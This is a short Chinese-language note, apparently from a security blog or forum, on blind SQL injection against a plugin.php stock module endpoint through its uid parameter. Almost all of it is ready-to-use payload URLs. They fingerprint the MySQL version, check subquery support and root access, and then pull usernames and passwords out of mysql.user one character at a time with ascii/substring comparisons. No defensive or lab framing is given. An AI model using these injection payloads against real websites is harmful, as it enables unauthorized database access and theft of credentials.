盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5
#是否支持子查询(版本为4的情况下)
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
#当前用户是否为root
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
#######取数据
#mysql.user表第一行第一个字符的ASCII值是否大于80
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
#第二个字符的ASCII值是否大于90
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
…………